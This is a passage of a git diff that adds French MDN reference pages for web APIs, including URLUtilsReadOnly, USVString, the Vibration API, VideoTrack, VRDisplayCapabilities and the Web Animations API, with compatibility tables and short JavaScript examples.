+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilité">Compatibilité</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Fonctionnalité</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Support de base</td>
+    <td>{{CompatNo}} [1]</td>
+    <td>{{CompatGeckoDesktop("22")}} [1]</td>
+    <td>{{CompatNo}} [1]</td>
+    <td>{{CompatNo}} [1]</td>
+    <td>{{CompatNo}} [1]</td>
+   </tr>
+   <tr>
+    <td>searchParams</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatGeckoDesktop("29")}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+   <tr>
+    <td><code>username</code> et <code>password</code></td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatGeckoDesktop("26")}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+   <tr>
+    <td><code>origin</code></td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatGeckoDesktop("26")}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+   <tr>
+    <td><code>origin</code> sur <code>Window.location</code></td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatGeckoDesktop("21")}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Fonctionnalité</th>
+    <th>Android</th>
+    <th>Chrome for Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Support de base</td>
+    <td>{{CompatNo}} [1]</td>
+    <td>{{CompatNo}} [1]</td>
+    <td>{{CompatGeckoMobile("22")}} [1]</td>
+    <td>{{CompatNo}} [1]</td>
+    <td>{{CompatNo}} [1]</td>
+    <td>{{CompatNo}} [1]</td>
+   </tr>
+   <tr>
+    <td>searchParams</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+   <tr>
+    <td><code>username</code> et <code>password</code></td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatGeckoMobile("26")}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+   <tr>
+    <td><code>origin</code></td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatGeckoMobile("26")}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+   <tr>
+    <td><code>origin</code> sur <code>Window.location</code></td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatGeckoMobile("21")}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<p>[1] Bien qu'elles ne soient pas groupées dans une seule interface abstraite, ces méthodes sont directement disponibles sur les interfaces qui les implémentent, si cette interface est supportée.</p>
+<h2 id="Voir_aussi">Voir aussi</h2>
+<ul>
+ <li>Autres interfaces associées aux URL : {{domxref("URL")}}, {{domxref("URLUtils")}}, et {{domxref("URLSearchParams")}}.</li>
+ <li>Interfaces qui implémentent celle-ci : {{domxref("Location")}}, {{domxref("HTMLAnchorElement")}}, {{domxref("HTMLAreaElement")}}.</li>
+</ul>
diff --git a/files/fr/web/api/urlutilsreadonly/index.html b/files/fr/web/api/urlutilsreadonly/index.html
new file mode 100644
index 0000000000..5ff2c29256
--- /dev/null
+++ b/files/fr/web/api/urlutilsreadonly/index.html
@@ -0,0 +1,93 @@
+---
+title: URLUtilsReadOnly
+slug: Web/API/URLUtilsReadOnly
+tags:
+  - API
+  - Expérimentale
+  - URL API
+translation_of: Web/API/URLUtilsReadOnly
+---
+<p>{{ApiRef("URL API")}}{{SeeCompatTable}}</p>
+
+<p>L'interface <strong><code>URLUtilsReadOnly</code></strong> définie les méthodes utilitaires permettant de travailler sur les URLs. Cette dernière définie seulement les méthodes sans modifier le contenu dont l'usage se fait sur des données qui ne peuvent être changées.</p>
+
+<p>Il n'existe aucun objet de ce type, mais certaines interfaces l'implémente, comme {{domxref("WorkerLocation")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface n'hérite d'aucune propriété.</em></p>
+
+<dl>
+ <dt>{{domxref("URLUtilsReadOnly.href")}} {{readOnlyInline}}</dt>
+ <dd>Un {{domxref("DOMString")}} contenant l'URL entier.</dd>
+ <dt>{{domxref("URLUtilsReadOnly.protocol")}} {{readOnlyInline}}</dt>
+ <dd>Un {{domxref("DOMString")}} contenant le schéma protocolaire de l'URL, incluant le caractère <code>':'</code> à la fin.</dd>
+ <dt>{{domxref("URLUtilsReadOnly.host")}} {{readOnlyInline}}</dt>
+ <dd>Un {{domxref("DOMString")}} contenant le hôte, qui est le <em>nom d'hôte</em>, un caractère <code>':'</code>, et le <em>port</em> de l'URL.</dd>
+ <dt>{{domxref("URLUtilsReadOnly.hostname")}} {{readOnlyInline}}</dt>
+ <dd>Un {{domxref("DOMString")}} contenant le domaine de l'URL.</dd>
+ <dt>{{domxref("URLUtilsReadOnly.origin")}} {{readOnlyInline}}</dt>
+ <dd>Retourne un {{domxref("DOMString")}} contenant sous la forme canonique l'origine de l'emplacement spécifique.</dd>
+ <dt>{{domxref("URLUtilsReadOnly.port")}} {{readOnlyInline}}</dt>
+ <dd>Un {{domxref("DOMString")}} contenant le numéro du port de l'URL.</dd>
+ <dt>{{domxref("URLUtilsReadOnly.pathname")}} {{readOnlyInline}}</dt>
+ <dd>Un {{domxref("DOMString")}} contenant au début <code>'/'</code> suivi du chemin de l'URL.</dd>
+ <dt>{{domxref("URLUtilsReadOnly.search")}} {{readOnlyInline}}</dt>
+ <dd>Un {{domxref("DOMString")}} contenant le caractère <code>'?'</code> suivi par les paramètres de l'URL.</dd>
+ <dt>{{domxref("URLUtilsReadOnly.hash")}} {{readOnlyInline}}</dt>
+ <dd>Un {{domxref("DOMString")}} contenant le caractère <code>'#'</code> suivi par le fragement d'identification de l'URL.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface n'hérite d'aucune méthode.</em></p>
+
+<dl>
+ <dt>{{domxref("URLUtilsReadOnly.toString()")}}</dt>
+ <dd>Un {{domxref("DOMString")}} contenant l'URL entier. C'est un synonyme de {{domxref("URLUtilsReadOnly.href")}}.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('URL', '#urlutilsreadonly', 'URLUtilsReadOnly')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.URLUtilsReadOnly")}}</p>
+
+<h2 id="A_voir_également">A voir également</h2>
+
+<ul>
+ <li>Les autres interfaces relatif à URL: {{domxref("URL")}}, {{domxref("URLUtils")}}, et {{domxref("URLQuery")}}.</li>
+ <li>Interfaces implémentant cette dernière: {{domxref("WorkerLocation")}}.</li>
+</ul>
+
+<dl><br>
+ <br>
+ <br>
+ <br>
+ <br>
+ <br>
+
+ <dd> </dd>
+ <dd> </dd>
+ <dd> </dd>
+ <dd> </dd>
+</dl>
diff --git a/files/fr/web/api/usvstring/index.html b/files/fr/web/api/usvstring/index.html
new file mode 100644
index 0000000000..9fb2f745bd
--- /dev/null
+++ b/files/fr/web/api/usvstring/index.html
@@ -0,0 +1,40 @@
+---
+title: USVString
+slug: Web/API/USVString
+tags:
+  - API
+  - DOM
+  - Reference
+  - String
+  - WedIDL
+translation_of: Web/API/USVString
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code>USVString</code> correspond à l'ensemble de toutes les séquences possibles de valeurs scalaires unicode. <code>USVString</code> correspond à une {{JSxRef("String", "chaîne de caractères")}} lorsqu'elle est renvoyée en JavaScript ; elle n'est généralement utilisée que pour les API qui effectuent un traitement de texte et ont besoin d'une chaîne de valeurs scalaires unicode pour fonctionner. <code>USVString</code> est équivalent à {{DOMxRef("DOMString")}} sauf qu'il n'autorise pas les points de code de substitution non appariés. Les points de code de substitution non appariés présents dans <code>USVString</code> sont convertis par le navigateur en "caractère de remplacement" Unicode <code>U+FFFD</code>, (�).</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("WebIDL", "#idl-USVString", "USVString")}}</td>
+   <td>{{Spec2("WebIDL")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{JSxRef("String")}}</li>
+ <li>{{DOMxRef("DOMString")}}</li>
+ <li>{{DOMxRef("CSSOMString")}}</li>
+ <li><a href="/fr/docs/Web/API/DOMString/Binary">Chaîne de caractères binaires</a></li>
+</ul>
diff --git a/files/fr/web/api/vibration_api/index.html b/files/fr/web/api/vibration_api/index.html
new file mode 100644
index 0000000000..d1b0d548ef
--- /dev/null
+++ b/files/fr/web/api/vibration_api/index.html
@@ -0,0 +1,146 @@
+---
+title: API de Vibration
+slug: Web/API/Vibration_API
+tags:
+  - Débutant
+  - Firefox OS
+  - Vibration
+translation_of: Web/API/Vibration_API
+---
+<h2 id="Description_des_vibrations">Description des vibrations</h2>
+
+<p>La vibration est décrite comme une série de marche-arrêt des impulsions, qui peuvent être de durées différentes. La série peut être soit un entier décrivant le nombre de millisecondes à vibrer ou un tableau d'entiers décrivant une série de pauses et de vibrations. La vibration est contrôlée par une seule méthode: {{domxref("Navigator.vibrate()")}}.</p>
+
+<h3 id="Une_seule_vibration">Une seule vibration</h3>
+
+<p>Vous pouvez effectuer une seule vibration du matériel en spécifiant soit une valeur de type "entier", soit un tableau d'entiers.</p>
+
+<pre class="brush:js">window.navigator.vibrate(200);
+window.navigator.vibrate([200]);
+</pre>
+
+<p>Ces deux exemples illustrent tout deux la vibration de l'appareil pendant 200 millisecondes.</p>
+
+<h3 id="Série_de_vibrations">Série de vibrations</h3>
+
+<p>Un tableau de valeurs décrit des périodes de temps durant lesquelles le dispositif effectue des vibrations alternées (marche-arrêt répété). Chaque valeur dans le tableau est convertie en entier puis est interprétée alternativement comme le nombre de millisecondes pour lequel le dispositif devrait vibrer et le nombre de millisecondes dont il ne le devrait pas. Par exemple:</p>
+
+<p> </p>
+
+<pre class="brush: js">window.navigator.vibrate([200, 100, 200]);
+</pre>
+
+<p>Cela fera vibrer l'appareil pendant 200ms, puis fait une pause de 100ms avant de le faire vibrer à nouveau pendant 200ms.</p>
+
+<p>Vous pouvez spécifier autant de paires vibration/pause que vous voulez. Vous pouvez également fournir soit un nombre pair ou impair. Il est à noter que vous ne devez pas fournir de pause avant que la dernière vibration ait lieu.</p>
+
+<h3 id="Annuler_les_vibrations_existantes">Annuler les vibrations existantes</h3>
+
+<p>Faire appel à {{domxref("Navigator.vibrate()")}} avec une valeur 0, un tableau vide, ou encore un tableau composé uniquement de 0 annulera toutes series de vibrations actives.</p>
+
+<h3 id="Vibrations_continues">Vibrations continues</h3>
+
+<p>Quelques codes de base comme  <code>setInterval</code> et <code>clearInterval</code> vont vous permettre de créer une vibration persistante:</p>
+
+<pre class="brush: js">var vibrateInterval;
+
+// Démarre une vibration avec une durée
+function startVibrate(duration) {
+    navigator.vibrate(duration);
+}
+
+// Arrête la vibration
+function stopVibrate() {
+    // Vide l'intervalle et annule les vibrations persistantes
+    if(vibrateInterval) clearInterval(vibrateInterval);
+    navigator.vibrate(0);
+}
+
+// Démarre la vibration persistante avec un intervalle et une durée donnée
+function startPeristentVibrate(duration, interval) {
+    vibrateInterval = setInterval(function() {
+        startVibrate(duration);
+    }, interval);
+}</pre>
+
+<p>Bien sûr, l'extrait de code ci-dessus ne prends pas en compte la méthode du tableau de vibration ; les vibrations persistantes devront se faire en calculant la somme des éléments du tableau et créer un intervalle basé sur ce nombre (avec, probablement, un délai supplémentaire).</p>
+
+<h3 id="Pourquoi_utiliser_l'API_de_vibration">Pourquoi utiliser l'API de vibration?</h3>
+
+<p>Cette APi est dédiée pour les appareils mobiles. Il peut être indispensable pour les alertes au sein des applications mobiles et est particulièrement utile lorsqu'il est associé à des jeux ou des applications multimédia lourdes. Imaginez lorsque vous êtes en train de regarder une vidéo sur votre appareil mobile et pendant une scène d'explosion, votre téléphone vibre un peu. Ou jouer à Bomberman et sentir une petite vibration lorsqu'un bloc explose.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Vibration API')}}</td>
+   <td>{{Spec2('Vibration API')}}</td>
+   <td>Linked to spec is the latest editor's draft; W3C version is a REC.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{Compatibilitytable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+   <td>11.0 {{property_prefix("moz")}}<br>
+    16</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+   <td>11.0 {{property_prefix("moz")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Navigator.vibrate()")}}</li>
+</ul>
diff --git a/files/fr/web/api/videotrack/id/index.html b/files/fr/web/api/videotrack/id/index.html
new file mode 100644
index 0000000000..27a83048d8
--- /dev/null
+++ b/files/fr/web/api/videotrack/id/index.html
@@ -0,0 +1,43 @@
+---
+title: VideoTrack.id
+slug: Web/API/VideoTrack/id
+translation_of: Web/API/VideoTrack/id
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><span class="seoSummary">La propriété <code>id</code> contient une chaîne qui identifie de manière unique une piste représentée par {{domxref("VideoTrack")}}.</span> Cet ID peut être utilisé avec la méthode {{domxref("VideoTrackList.getTrackById()")}} pour localiser une piste spécifique dans le media associé à l'élément media.</p>
+
+<p>Cet ID peut aussi être utilisé comme un fragement d'URL pour charger une piste (si le media supporte les fragments de media).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>trackID</em> = <em>VideoTrack</em>.id;</pre>
+
+<p>Valeur</p>
+
+<p>Une {{domxref("DOMString")}} qui identifie la piste, utilisable par la suite pour l'appel de {{domxref("VideoTrackList.getTrackById", "getTrackById()")}} sur une {{domxref("VideoTrackList")}} tel que spécifié par la propriété {{domxref("HTMLMediaElement.videoTracks", "videoTracks")}} d'un élément media.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-videotrack-id', 'VideoTrack: id')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.VideoTrack.id")}}</p>
diff --git a/files/fr/web/api/videotrack/index.html b/files/fr/web/api/videotrack/index.html
new file mode 100644
index 0000000000..b380c49939
--- /dev/null
+++ b/files/fr/web/api/videotrack/index.html
@@ -0,0 +1,86 @@
+---
+title: VideoTrack
+slug: Web/API/VideoTrack
+tags:
+  - HTML
+  - HTML DOM
+  - Interface
+  - Media
+  - Reference
+  - TopicStub
+  - Video
+  - VideoTrack
+  - track
+translation_of: Web/API/VideoTrack
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">L'interface {{domxref("VideoTrack")}} représente une seule piste vidéo d'un élément {{HTMLElement("video")}}.</span> L'utilisation la plus courante à un objet <code>VideoTrack</code> est de basculer sa propriété {{domxref("VideoTrack.selected", "selected")}} afin d'en faire la piste vidéo active pour l'élément {{HTMLElement("video")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("VideoTrack.selected", "selected")}}</dt>
+ <dd>Une valeur booléenne qui contrôle si la piste vidéo est active ou non. Seule une seule piste vidéo peut être active à un moment donné, donc la définition de cette propriété sur <code>true</code> pour une piste pendant qu'une autre piste est active rendra cette autre piste inactive.</dd>
+ <dt>{{domxref("VideoTrack.id", "id")}} {{ReadOnlyInline}}</dt>
+ <dd>Un {{domxref("DOMString")}} qui identifie de manière unique la piste dans le média. Cet identifiant peut être utilisé pour localiser une piste spécifique dans une liste de pistes vidéo en appelant {{domxref("VideoTrackList.getTrackById()")}}. L'identifiant peut également être utilisé comme partie fragment de l'URL si le support prend en charge la recherche par fragment de support conformément à la <a href="https://www.w3.org/TR/media-frags/">spécification UR de fragments de média</a>.</dd>
+ <dt>{{domxref("VideoTrack.kind", "kind")}} {{ReadOnlyInline}}</dt>
+ <dd>Un {{domxref("DOMString")}} spécifiant la catégorie dans laquelle appartient la piste. Par exemple, la piste vidéo principale aurait un <code>type</code> <code>"principale"</code>.</dd>
+ <dt>{{domxref("VideoTrack.label", "label")}} {{ReadOnlyInline}}</dt>
+ <dd>Un {{domxref("DOMString")}} fournissant une étiquette lisible par l'homme pour la piste. Par exemple, une piste dont le <code>type</code> est <code>"signe"</code> peut avoir l'<code>étiquette</code> <code>"Une interprétation en langue des signes"</code>. Cette chaîne est vide si aucune étiquette n'est fournie.</dd>
+ <dt>{{domxref("VideoTrack.language", "language")}} {{ReadOnlyInline}}</dt>
+ <dd>Un {{domxref("DOMString")}} spécifiant la langue principale de la piste vidéo, ou une chaîne vide si elle est inconnue. La langue est spécifié en tant que code de langue BCP 47 ({{RFC(5646)}}), tel que <code>"en-US"</code> ou <code>"pt-BR"</code>.</dd>
+ <dt>{{domxref("VideoTrack.sourceBuffer", "sourceBuffer")}} {{ReadOnlyInline}}</dt>
+ <dd>Le {{domxref("SourceBuffer")}} qui a créé la piste. Renvoie null si la piste n'a pas été créée par un {{domxref("SourceBuffer")}} ou le {{domxref("SourceBuffer")}} a été supprimé de l'attribut {{domxref("MediaSource.sourceBuffers")}} de sa source média parent.</dd>
+</dl>
+
+<h2 id="Notes_dutilisation">Notes d'utilisation</h2>
+
+<p>Pour obtenir un <code>VideoTrack</code> pour un élément multimédia donné, utilisez la propriété {{domxref("HTMLMediaElement.videoTracks", "videoTracks")}}, qui renvoie un objet {{domxref("VideoTrackList")}} à partir duquel vous pouvez obtenir les pistes individuelles contenues dans le média:</p>
+
+<pre class="brush: js notranslate">var el = document.querySelector("video");
+var tracks = el.videoTracks;
+</pre>
+
+<p>Vous pouvez ensuite accéder aux pistes individuelles du média en utilisant soit la syntaxe de tableau, soit des fonctions telles que {{jsxref("Array.forEach", "forEach()")}}.</p>
+
+<p>Ce premier exemple obtient la première piste vidéo sur le média:</p>
+
+<pre class="brush: js notranslate">var firstTrack = tracks[0];</pre>
+
+<p>L'exemple suivant parcourt toutes les pistes vidéo du média, activant la première piste vidéo qui est dans la langue préférée de l'utilisateur (tirée d'une variable <code>userLanguage</code>).</p>
+
+<pre class="brush: js notranslate">for (var i = 0; i &lt; tracks.length; i++) {
+  if (tracks[i].language === userLanguage) {
+    tracks[i].selected = true;
+    break;
+  }
+});
+</pre>
+
+<p>Le {{domxref("VideoTrack.language", "language")}} est au format standard ({{RFC(5646)}}). Pour l'anglais américain, ce serait <code>"en-US"</code>, par exemple.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#videotrack', 'VideoTrack')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.VideoTrack")}}</p>
diff --git a/files/fr/web/api/vrdisplaycapabilities/index.html b/files/fr/web/api/vrdisplaycapabilities/index.html
new file mode 100644
index 0000000000..5ab3937cbe
--- /dev/null
+++ b/files/fr/web/api/vrdisplaycapabilities/index.html
@@ -0,0 +1,105 @@
+---
+title: VRDisplayCapabilities
+slug: Web/API/VRDisplayCapabilities
+translation_of: Web/API/VRDisplayCapabilities
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>L'interface <strong><code>VRDisplayCapabilities</code></strong> de <a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a> décrit les capacités d'un appareil {{domxref("VRDisplay")}} — ses fonctionalités peuvent être utilisée pour tester les capacités de l'appareil, par exemple il peut retourner de l'information sur la position.</p>
+
+<p>Cet interface est accessible à partir de la propriété {{domxref("VRDisplay.capabilities")}}.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("VRDisplayCapabilities.canPresent")}} {{readonlyInline}}</dt>
+ <dd>Retourne un objet {{domxref("Boolean")}} qui décrit si l'écran RV est capable de présenter du contenu (e.g. en utilisant un visiocasque).</dd>
+ <dt>{{domxref("VRDisplayCapabilities.hasExternalDisplay")}} {{readonlyInline}}</dt>
+ <dd>Retourne un objet {{domxref("Boolean")}} indiquant si l'écran RV est séparé de l'écran primaire de l'appareil.</dd>
+ <dt>{{domxref("VRDisplayCapabilities.hasOrientation")}} {{readonlyInline}}</dt>
+ <dd>Retourne un objet {{domxref("Boolean")}} indiquant si l'écran RV peut suivre le mouvement de l'appareil et retourne de l'information sur l'orientation.</dd>
+ <dt>{{domxref("VRDisplayCapabilities.hasPosition")}} {{readonlyInline}}</dt>
+ <dd>Retourne un objet {{domxref("Boolean")}} indiquant si l'écran RV peut suivre le mouvement de l'appareil et retourne de l'information sur l'orientation.</dd>
+ <dt>{{domxref("VRDisplayCapabilities.maxLayers")}} {{readonlyInline}}</dt>
+ <dd>Retourne un nombre indiquant le nombre maximal de {{domxref("VRLayer")}}s que l'écran RV peut présenter en même temps (e.g. la longueur maximale du tableau que {{domxref("Display.requestPresent()")}} peut accepter.)</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre>TBD.</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR', '#interface-vrdisplaycapabilities', 'VRDisplayCapabilities')}}</td>
+   <td>{{Spec2('WebVR')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a>.</li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — demos, downloads, and other resources from the Mozilla VR team.</li>
+</ul>
diff --git a/files/fr/web/api/web_animations_api/index.html b/files/fr/web/api/web_animations_api/index.html
new file mode 100644
index 0000000000..fac19092e5
--- /dev/null
+++ b/files/fr/web/api/web_animations_api/index.html
@@ -0,0 +1,78 @@
+---
+title: Web Animations API
+slug: Web/API/Web_Animations_API
+translation_of: Web/API/Web_Animations_API
+---
+<p><font><font>{{DefaultAPISidebar ("Web Animations")}}</font></font></p>
+
+<p><font><font>L' </font></font><strong><font><font>API Web Animations</font></font></strong><font><font> permet de synchroniser et de chronométrer les changements de présentation d'une page Web, c'est-à-dire l'animation d'éléments DOM. </font><font>Pour ce faire, il combine deux modèles: le modèle de synchronisation et le modèle d'animation.</font></font></p>
+
+<h2 id="Concepts_et_utilisation"><font><font>Concepts et utilisation</font></font></h2>
+
+<p><font><font>L'API Web Animations fournit un langage commun aux navigateurs et aux développeurs pour décrire les animations sur les éléments DOM. </font><font>Pour obtenir plus d'informations sur les concepts derrière l'API et comment l'utiliser, lisez </font></font><a href="/en-US/docs/Web/API/Web_Animations_API/Using_the_Web_Animations_API"><font><font>Utilisation de l'API Web Animations</font></font></a><font><font> .</font></font></p>
+
+<h2 id="Interfaces_danimations_Web"><font><font>Interfaces d'animations Web</font></font></h2>
+
+<dl>
+ <dt><font><font>{{domxref ("Animation")}}</font></font></dt>
+ <dd><font><font>Fournit des commandes de lecture et une chronologie pour un nœud ou une source d'animation. </font><font>Peut prendre un objet créé avec le constructeur {{domxref ( "KeyframeEffect.KeyframeEffect", "KeyframeEffect ()")}}.</font></font></dd>
+ <dt><font><font>{{domxref ("KeyframeEffect")}}</font></font></dt>
+ <dd><font><font>Décrit des ensembles de propriétés et de valeurs animables, appelées </font></font><strong><font><font>images clés</font></font></strong><font><font> et leurs </font></font><a href="/en-US/docs/Web/API/Web_Animations_API/Animation_timing_options"><font><font>options de minutage</font></font></a><font><font> . </font><font>Ceux-ci peuvent ensuite être lus en utilisant le constructeur {{domxref ("Animation.Animation", "Animation ()")}}.</font></font></dd>
+ <dt><font><font>{{domxref ("AnimationTimeline")}}</font></font></dt>
+ <dd><font><font>Représente la chronologie de l'animation. </font><font>Cette interface existe pour définir les fonctionnalités de la chronologie (héritées par {{domxref ("DocumentTimeline")}} et les futurs objets de chronologie) et n'est pas elle-même accessible par les développeurs.</font></font></dd>
+ <dt><font><font>{{domxref ("AnimationEvent")}}</font></font></dt>
+ <dd><font><font>Fait actuellement partie des animations CSS.</font></font></dd>
+ <dt><font><font>{{domxref ("DocumentTimeline")}}</font></font></dt>
+ <dd><font><font>Représente les chronologies d'animation, y compris la chronologie du document par défaut (accessible à l'aide de la propriété {{domxref ("Document.timeline")}}).</font></font></dd>
